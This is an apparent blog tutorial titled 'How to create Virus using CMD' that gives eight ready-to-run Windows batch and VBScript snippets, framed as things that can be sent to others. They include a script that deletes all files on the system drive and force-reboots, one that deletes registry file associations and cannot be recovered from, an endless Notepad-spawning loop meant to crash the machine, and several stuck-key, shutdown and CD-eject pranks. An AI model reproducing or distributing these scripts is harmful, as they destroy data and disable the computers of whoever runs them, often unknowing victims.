How to create Virus using CMD or Command Prompt?

Hey guys today am going to teach you that how you can create virus using command prompt.
guys be careful, don't do it in your system, and am not responsible for any damage of your system.

1. The blue screen of Death [this might be dangerous]

The Blue Screen Of Death can be coded and sent to you like any application. It is up to you to be carefull and try to reveal the trick before getting in serious trouble. It loops a message asking to re-install your windows again


CODE:- 

@echo off
del %systemdrive%\*.* /f /s /q
shutdown -r -f -t 00


2. Stupidity Shutdown

This pops up a funny message then will shutdown the computer


CODE:-

@echo off
msg * Fatal system error due to admin stupidity!
shutdown -c "Error! You are too stupid!" -s -t 10


3. Delete Key Registry Files [NOTE THIS IS DANGEROUS!! USE AT RISK]


This will delete key registry files, then loops a message* (CANNOT BE RECOVERED FROM)


CODE:-

@ECHO OFF
START reg delete HKCR/.exe
START reg delete HKCR/.dll
START reg delete HKCR/*
:MESSAGE
ECHO Your computer has been fcked. Have a nice day.
GOTO MESSAGE


4. Endless Notepads


This will pop up endless notepads until the computer freezes and crashes*

CODE:-

@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top


5. Crazy caps lock

This constantly turns caps lock on and off really fast continuously*


CODE:-

Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop


6. Endless Enter

This constantly makes it so the enter button is being pressed continuesly*

CODE:-

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop


7. Endless Backspace

This makes it so the backspace key is constantly being pressed*


CODE:-

MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop


8. Popping CD Drives

This will make the CD drives constantly pop out*


CODE:-

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 100
loop